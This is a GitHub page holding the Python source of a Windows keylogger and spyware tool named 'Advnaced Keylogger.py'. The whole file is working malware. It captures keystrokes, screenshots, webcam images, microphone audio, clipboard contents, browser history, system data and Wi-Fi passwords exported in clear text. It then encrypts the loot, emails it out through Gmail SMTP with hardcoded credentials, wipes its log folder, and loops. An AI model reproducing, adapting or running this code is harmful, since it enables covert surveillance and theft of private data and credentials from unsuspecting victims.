-
Notifications
You must be signed in to change notification settings - Fork 18
/
Advnaced Keylogger.py
252 lines (201 loc) · 12.2 KB
/
Advnaced Keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import subprocess # Used to run new applications
import socket # Used to write to Internet servers
import win32clipboard # System grabs the most recent clipboard data and saves it to a file
import os # Provides functions for interacting with the operating system
import re # Helps you match or find other strings or sets of strings
import smtplib # Defines an SMTP client session object
import logging # Allows writing status messages to a file or any other output streams
import pathlib # Deals with path related tasks
import json
import time # Waiting during code execution & measuring the efficiency of your code.
import cv2 # Image processing, video capture
import sounddevice # Play and record NumPy arrays containing audio signals
import shutil # Automating process of copying and removal of files and directories
import requests # Send HTTP/1.1 requests using Python
import browserhistory as bh # To get browser username, database paths, and history in JSON format
from multiprocessing import Process # supports spawning processes
from pynput.keyboard import Key, Listener # Monitor input devices
from PIL import ImageGrab # Copy the contents of the screen or the clipboard to a PIL image memory
from scipy.io.wavfile import write as write_rec # Write a NumPy array as a WAV file
from cryptography.fernet import Fernet # Message encrypted using it cannot be manipulated or read without the key
from email.mime.multipart import MIMEMultipart # Encodes ['From'], ['To'], and ['Subject']
from email.mime.text import MIMEText # Sending text emails
from email.mime.base import MIMEBase # Adds a Content-Type header
from email import encoders
################ Functions: Keystorke Capture, Screenshot Capture, Mic Recroding, Webcam Snapshot, Email Sending ################
# Keystroke Capture Funtion
def logg_keys(file_path):
logging.basicConfig(filename = (file_path + 'key_logs.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
on_press = lambda Key : logging.info(str(Key)) # Log the Pressed Keys
with Listener(on_press=on_press) as listener: # Collect events until released
listener.join()
# Loop that records the microphone for 60 second intervals
def screenshot(file_path):
pathlib.Path('C:/Users/Public/Logs/Screenshots').mkdir(parents=True, exist_ok=True)
screen_path = file_path + 'Screenshots\\'
for x in range(0,10):
pic = ImageGrab.grab()
pic.save(screen_path + 'screenshot{}.png'.format(x))
time.sleep(5) # Gap between the each screenshot in sec
# Loop that save a picture every 5 seconds
def microphone(file_path):
for x in range(0, 5):
fs = 44100
seconds = 10
myrecording = sounddevice.rec(int(seconds * fs), samplerate=fs, channels=2)
sounddevice.wait() # To check if the recording is finished
write_rec(file_path + '{}mic_recording.wav'.format(x), fs, myrecording)
# Webcam Snapshot Function #
def webcam(file_path):
pathlib.Path('C:/Users/Public/Logs/WebcamPics').mkdir(parents=True, exist_ok=True)
cam_path = file_path + 'WebcamPics\\'
cam = cv2.VideoCapture(0)
for x in range(0, 10):
ret, img = cam.read()
file = (cam_path + '{}.jpg'.format(x))
cv2.imwrite(file, img)
time.sleep(5)
cam.release # Closes video file or capturing device
cv2.destroyAllWindows
def email_base(name, email_address):
name['From'] = email_address
name['To'] = email_address
name['Subject'] = 'Success!!!'
body = 'Mission is completed'
name.attach(MIMEText(body, 'plain'))
return name
def smtp_handler(email_address, password, name):
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(email_address, password)
s.sendmail(email_address, email_address, name.as_string())
s.quit()
def send_email(path): # Email sending function #
regex = re.compile(r'.+\.xml$')
regex2 = re.compile(r'.+\.txt$')
regex3 = re.compile(r'.+\.png$')
regex4 = re.compile(r'.+\.jpg$')
regex5 = re.compile(r'.+\.wav$')
email_address = '[email protected]' #<--- Enter your email address
password = 'QuiteHacker@2021' #<--- Enter email password
msg = MIMEMultipart()
email_base(msg, email_address)
exclude = set(['Screenshots', 'WebcamPics'])
for dirpath, dirnames, filenames in os.walk(path, topdown=True):
dirnames[:] = [d for d in dirnames if d not in exclude]
for file in filenames:
# For each file in the filenames in the specified path, it will try to match the file extension to one of the regex variables.
# If one of the first four regex variables match, then all of files of that data type will be attached to a single email message.
if regex.match(file) or regex2.match(file) or regex3.match(file) or regex4.match(file):
p = MIMEBase('application', "octet-stream")
with open(path + '\\' + file, 'rb') as attachment:
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))
msg.attach(p)
# If regex5(WAV) variable matches, then that single match will be attached to its own individual email and sent.
elif regex5.match(file):
msg_alt = MIMEMultipart()
email_base(msg_alt, email_address)
p = MIMEBase('application', "octet-stream")
with open(path + '\\' + file, 'rb') as attachment:
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))
msg_alt.attach(p)
smtp_handler(email_address, password, msg_alt)
# If there are no matches then pass is called to keep the program moving.
else:
pass
# To send any of the non WAV files
smtp_handler(email_address, password, msg)
######################### Main Function: Network/Wifi Info, System Info, Clipbaord Data, Browser History #########################
# Once main is initiated the program begins by creating a directory to store the data it will gather.
def main():
pathlib.Path('C:/Users/Public/Logs').mkdir(parents=True, exist_ok=True)
file_path = 'C:\\Users\\Public\\Logs\\'
# Retrieve Network/Wifi informaton for the network_wifi file
with open(file_path + 'network_wifi.txt', 'a') as network_wifi:
try:
# Using the subprocess module a shell executes the specified commands with the standard output and error directed to the log file.
commands = subprocess.Popen([ 'Netsh', 'WLAN', 'export', 'profile', 'folder=C:\\Users\\Public\\Logs\\', 'key=clear',
'&', 'ipconfig', '/all', '&', 'arp', '-a', '&', 'getmac', '-V', '&', 'route', 'print', '&',
'netstat', '-a'], stdout=network_wifi, stderr=network_wifi, shell=True)
# The communicate funtion is used to initiate a 60 second timeout for the shell.
outs, errs = commands.communicate(timeout=60)
except subprocess.TimeoutExpired:
commands.kill()
out, errs = commands.communicate()
# Retrieve system information for the system_info file
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
with open(file_path + 'system_info.txt', 'a') as system_info:
try:
public_ip = requests.get('https://api.ipify.org').text
except requests.ConnectionError:
public_ip = '* Ipify connection failed *'
pass
system_info.write('Public IP Address: ' + public_ip + '\n' + 'Private IP Address: ' + IPAddr + '\n')
try:
get_sysinfo = subprocess.Popen(['systeminfo', '&', 'tasklist', '&', 'sc', 'query'],
stdout=system_info, stderr=system_info, shell=True)
outs, errs = get_sysinfo.communicate(timeout=15)
except subprocess.TimeoutExpired:
get_sysinfo.kill()
outs, errs = get_sysinfo.communicate()
# Grabs the most recent clipboard data and saves it to a file
win32clipboard.OpenClipboard()
pasted_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
win32clipboard.CloseClipboard()
with open(file_path + 'clipboard_info.txt', 'a') as clipboard_info:
clipboard_info.write('Clipboard Data: \n' + pasted_data)
# Get the browser username, database paths, and history in JSON format
browser_history = []
bh_user = bh.get_username()
db_path = bh.get_database_paths()
hist = bh.get_browserhistory()
browser_history.extend((bh_user, db_path, hist))
with open(file_path + 'browser.txt', 'a') as browser_txt:
browser_txt.write(json.dumps(browser_history))
################################################### Using Multiprocess module ###################################################
p1 = Process(target=logg_keys, args=(file_path,)) ; p1.start() # Log Keys
p2 = Process(target=screenshot, args=(file_path,)) ; p2.start() # Take Screenshots
p3 = Process(target=microphone, args=(file_path,)) ; p3.start() # Record Microphone
p4 = Process(target=webcam, args=(file_path,)) ; p4.start() # Take Webcam Pictures
# To stop execution of current program until a process is complete
p1.join(timeout=300) ; p2.join(timeout=300) ; p3.join(timeout=300) ; p4.join(timeout=300)
p1.terminate() ; p2.terminate() ; p3.terminate() ; p4.terminate()
######################################################## File Encryption ########################################################
files = [ 'network_wifi.txt', 'system_info.txt', 'clipboard_info.txt', 'browser.txt', 'key_logs.txt' ]
regex = re.compile(r'.+\.xml$')
dir_path = 'C:\\Users\\Public\\Logs'
for dirpath, dirnames, filenames in os.walk(dir_path):
[ files.append(file) for file in filenames if regex.match(file) ]
# To generate a key: Do the Following in the Python Console->
# from cryptography.fernet import Fernet
# Fernet.generate_key()
key = b'MujBTqtZ4QCQW_fmlMHVWBmTVRW8IGZSuxFctu_D3d0='
for file in files:
with open(file_path + file, 'rb') as plain_text: # Opens the file in binary format for reading
data = plain_text.read()
encrypted = Fernet(key).encrypt(data)
with open(file_path + 'e_' + file, 'ab') as hidden_data: # Appending to the end of the file if it exists
hidden_data.write(encrypted)
os.remove(file_path + file)
# Send encrypted files to email account
send_email('C:\\Users\\Public\\Logs')
send_email('C:\\Users\\Public\\Logs\\Screenshots')
send_email('C:\\Users\\Public\\Logs\\WebcamPics')
shutil.rmtree('C:\\Users\\Public\\Logs') # Clean Up Files
main() # Loop
# When an error occurs a detailed full stack trace can be logged to a file for an admin;
# while the user receives a much more vague message preventing information leakage.
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('* Control-C entered...Program exiting *')
except Exception as ex:
logging.basicConfig(level=logging.DEBUG, filename='C:/Users/Public/Logs/error_log.txt')
logging.exception('* Error Ocurred: {} *'.format(ex))
pass